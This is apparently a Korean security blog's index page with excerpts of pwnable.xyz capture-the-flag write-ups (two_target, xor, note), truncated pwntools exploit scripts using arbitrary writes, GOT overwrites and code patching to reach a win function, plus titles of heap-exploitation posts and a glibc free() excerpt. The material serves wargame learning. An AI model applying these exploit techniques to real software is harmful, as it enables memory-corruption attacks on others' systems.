본문 바로가기

전체 글

(187)
pwnable.xyz / two_target 값을 역연산하던가 아님 aaw로 풀 수 있는것 같다 당연히 aaw로 풀었다 ( 역연산은 어려워.... ) 인적사항을 쓰고 변경할 수 있다 ( 각기능은 아래와 같음 ) 이름을 입력 (auth에서 비교할 key 값) 나이를 입력 ( aaw할 주소 씀 ) 국적을 변경 ( 주소에 쓸 값 ) get shell ( auth함수로 검증하고 참이면 win함수로 flag를 출력한다 ) partial RELRO가 걸려있어서 got overwrite이 가능하다 aaw로 strncmp함수 got를 win함수의 got로 overwrite한 뒤 4번으로 auth함수에 있는 strncmp함수를 호출해서 flag가 출력되도록 했다 from pwn import * p = process("./two_target") def ch_nat(..
poison NULL byte 보호되어 있는 글입니다.
pwnable.xyz / xor oob가 터진다 oob가 가능하더라도 FULL RELRO가 걸려있어서 뭘 할 수가 없다 바이너리 보니까 mprotect가 왜 있나 싶었는데 .text영역에 rwx를 다준다 oob로 exit쪽 코드를 jmp win으로 수정해줬다 from pwn import * #p = remote("svc.pwnable.xyz", 30029) p = process("./xor") jump = -262887 def aaw(idx, data): p.recvuntil(" ") p.send(str(data ^ 1)) p.send(b" 1 ") p.sendline(str(idx)) aaw(jump, 0x458b48ffffff58e9) aaw(0, 0) p.interactive()
pwnable.xyz / note note를 수정하고 desc 수정 exit 원하는 만큼 길이만큼 데이터를 쓸 수 있다 buf에 저장된 주소에 데이터를 쓸 수 있다 edit_note에서 bof가 터져서 buf를 덮을 수 있다 edit_note로 buf를 원하는 함수의 got로 덮은 뒤 edit_desc로 got overwrite해서 win함수가 호출되도록해줬다 ( 서버가 닫혀있다.... ) h4pum@ubuntu:~/wargame/pwnable_xyz/note_file$ cat exploit.py from pwn import * #p = remote("svc.pwnable.xyz", 30016) p = process("./note") win = 0x40093C def edit_note(length, data): p.recvuntil(b"..
overlapping chunks 보호되어 있는 글입니다.
unsorted bin attack 보호되어 있는 글입니다.
memory leak 보호되어 있는 글입니다.
(glibc 2.26) free 전체 코드 아래 더보기 더보기 void __libc_free (void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ void (*hook) (void *, const void *) = atomic_forced_read (__free_hook); if (__builtin_expect (hook != NULL, 0)) { (*hook)(mem, RETURN_ADDRESS (0)); return; } if (mem == 0) /* free(0) has no effect */ return; p = mem2chunk (mem); if (chunk_is_mmapped (p)) /* release mmapped memory. */ { /*..